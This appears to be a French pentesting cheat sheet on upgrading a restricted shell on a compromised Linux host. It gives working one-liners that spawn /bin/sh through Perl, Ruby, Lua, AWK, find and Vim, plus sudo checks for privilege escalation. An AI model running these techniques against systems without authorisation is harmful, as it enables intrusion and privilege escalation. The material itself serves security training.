Spawning Interactive Shells
Lorsque l'on obtient une session shell sur un système Unix/Linux, celle-ci est souvent restreinte (on parle de jail shell). Il est donc courant de chercher à améliorer cette session en la rendant interactive, notamment en invoquant un interpréteur de shell complet comme /bin/sh
ou /bin/bash
. Dans cette page, nous allons passer en revue plusieurs méthodes permettant de spawner un shell interactif, même dans un environnement limité.
🐚 Objectif : Shell interactif
Un shell interactif nous permet d'accéder à des fonctionnalités comme l'autocomplétion, l'affichage d'un prompt, et la gestion des signaux (ex. Ctrl+C). Sur les systèmes Unix/Linux, cela peut se faire via différents langages ou utilitaires présents sur la cible.
🧪 Méthodes courantes
🔹 /bin/sh -i
/bin/sh -i
/bin/sh -i
Lance
/bin/sh
en mode interactif (-i
).
🔹 Perl
perl -e 'exec "/bin/sh";'
Nécessite que Perl soit installé.
🔹 Ruby
ruby -e 'exec "/bin/sh"'
À exécuter via script Ruby.
🔹 Lua
lua -e 'os.execute("/bin/sh")'
Lua est moins courant mais peut être utile si disponible.
🔹 AWK
awk 'BEGIN {system("/bin/sh")}'
AWK est souvent installé par défaut.
🔹 Find
find . -exec /bin/sh \; -quit
Utilise l'option
-exec
pour exécuter un shell directement.
Autre variante avec AWK :
find / -name fichier -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
🔹 Vim
vim -c ':!/bin/sh'
Ou depuis Vim :
:set shell=/bin/sh
:shell
Très situationnel, mais fonctionnel si Vim est disponible.
🛡️ Vérification des permissions
Avant d'exécuter un binaire ou de tenter une élévation de privilèges, il est judicieux de vérifier les permissions :
ls -la /chemin/vers/fichier
Et vérifier les droits sudo :
sudo -l
Attention : nécessite souvent un shell stable/interactif.
Exemple de résultat révélateur :
User apache may run the following commands on ILF-WebSrv:
(ALL : ALL) NOPASSWD: ALL
Cela peut indiquer une possibilité d'escalade de privilèges.
📚 Ressources utiles
Cette page présente les techniques essentielles pour améliorer une session shell obtenue sur un système compromis. Maîtriser ces méthodes est indispensable pour progresser dans les étapes suivantes d'une attaque, comme l'escalade de privilèges ou la persistance.
Mis à jour